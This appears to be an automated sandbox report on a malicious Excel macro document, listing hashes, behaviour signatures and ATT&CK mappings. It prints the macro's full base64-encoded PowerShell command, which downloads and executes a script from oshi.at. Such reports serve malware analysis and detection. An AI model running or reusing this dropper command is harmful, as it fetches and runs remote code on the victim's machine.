4b42cea522e48b27e21a52991f010848e0a5c6e0e42255b7a5323afb81b03dd7

General

Target

4b42cea522e48b27e21a52991f010848e0a5c6e0e42255b7a5323afb81b03dd7.xls
Size

28KB
MD5

14399d9b212ebf920943652ba1e7f5e3
SHA1

2411de8a3f816645015e912bd92e5369c6e5b0c9
SHA256

4b42cea522e48b27e21a52991f010848e0a5c6e0e42255b7a5323afb81b03dd7
SHA512

72f667df460361c44e51558fc09b035569bc570567ac732c25c5996f3e844170acf2d42439964993aeae04c41b7218226c5e989a7b9d78eacaf11b4a8b3f0c7b
SSDEEP

384:i8LD/TZxA6ymevz2NsdHLpeAokr25Uen/WWA/E:rD/N+6devz2NsdHLQkr25U6We

Score

10^/10

discovery macro macro_on_action

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://oshi.at/LdxX

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2180	2640	powershell.exe	29

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2180	powershell.exe

Office macro that triggers on suspicious action 1 IoCs

Office document macro which triggers in special circumstances - often malicious.

macro macro_on_action

resource	yara_rule
behavioral1/files/0x0007000000018705-18.dat	office_macro_on_action

Deletes itself 1 IoCs

pid	Process
2640	EXCEL.EXE

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

NTFS ADS 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\16577F00\:Zone.Identifier:$DATA	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2640	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2180	powershell.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
2640	EXCEL.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2180	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2640	EXCEL.EXE
2640	EXCEL.EXE
2640	EXCEL.EXE
2640	EXCEL.EXE
2640	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2640 wrote to memory of 2180	2640	EXCEL.EXE	30
PID 2640 wrote to memory of 2180	2640	EXCEL.EXE	30
PID 2640 wrote to memory of 2180	2640	EXCEL.EXE	30
PID 2640 wrote to memory of 2180	2640	EXCEL.EXE	30

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\4b42cea522e48b27e21a52991f010848e0a5c6e0e42255b7a5323afb81b03dd7.xls
1⤵
- Deletes itself
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: RenamesItself
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2640
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwBvAHMAaABpAC4AYQB0AC8ATABkAHgAWAAnACkAOwBvAGEAdwBuAGQAdQBhAHcAZABuAG4AaABuADkAMgA4ADMAaAAxADkAMgAxAG4AYQB3AG8AZABhAG4AZgBpAGEAdwBiAGQAbgBpAHUAZgBiAG4AYQBpAGQAdwB1AGEAaQBmAHUAYQBiAGkAdQBmAGIAYQBpAHUAZABiAGgAagBhAHcAZABiAGEAZgBoAGoA""
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2180

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\4b42cea522e48b27e21a52991f010848e0a5c6e0e42255b7a5323afb81b03dd7.xls

Filesize
68KB

MD5
f0dbcd4af1775996e48182125ffd6584

SHA1
d31ea4907103808ef8e80291a5cc5280ee3228b7

SHA256
01bf932002ed3a78abcefcb02585159197e7fbaa3ad4c8de032eb18d83265b40

SHA512
af59ce11d253f2a871506e14285a79432d3adcdaac3da1db4758a6e6dde24905f7d7d11c91b519c456e9f1f44dc4c8d94d4dd2bacc93eff0fa790e770f77787f

Download Submit
memory/2640-4-0x00000000003E0000-0x00000000004E0000-memory.dmp

Filesize
1024KB

Download
memory/2640-2-0x00000000003E0000-0x00000000004E0000-memory.dmp

Filesize
1024KB

Download
memory/2640-5-0x00000000003E0000-0x00000000004E0000-memory.dmp

Filesize
1024KB

Download
memory/2640-7-0x00000000003E0000-0x00000000004E0000-memory.dmp

Filesize
1024KB

Download
memory/2640-6-0x00000000003E0000-0x00000000004E0000-memory.dmp

Filesize
1024KB

Download
memory/2640-1-0x000000007269D000-0x00000000726A8000-memory.dmp

Filesize
44KB

Download
memory/2640-3-0x00000000003E0000-0x00000000004E0000-memory.dmp

Filesize
1024KB

Download
memory/2640-15-0x000000007269D000-0x00000000726A8000-memory.dmp

Filesize
44KB

Download
memory/2640-16-0x00000000003E0000-0x00000000004E0000-memory.dmp

Filesize
1024KB

Download
memory/2640-17-0x00000000003E0000-0x00000000004E0000-memory.dmp

Filesize
1024KB

Download
memory/2640-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2640-35-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2640-36-0x000000007269D000-0x00000000726A8000-memory.dmp

Filesize
44KB

Download

Analysis

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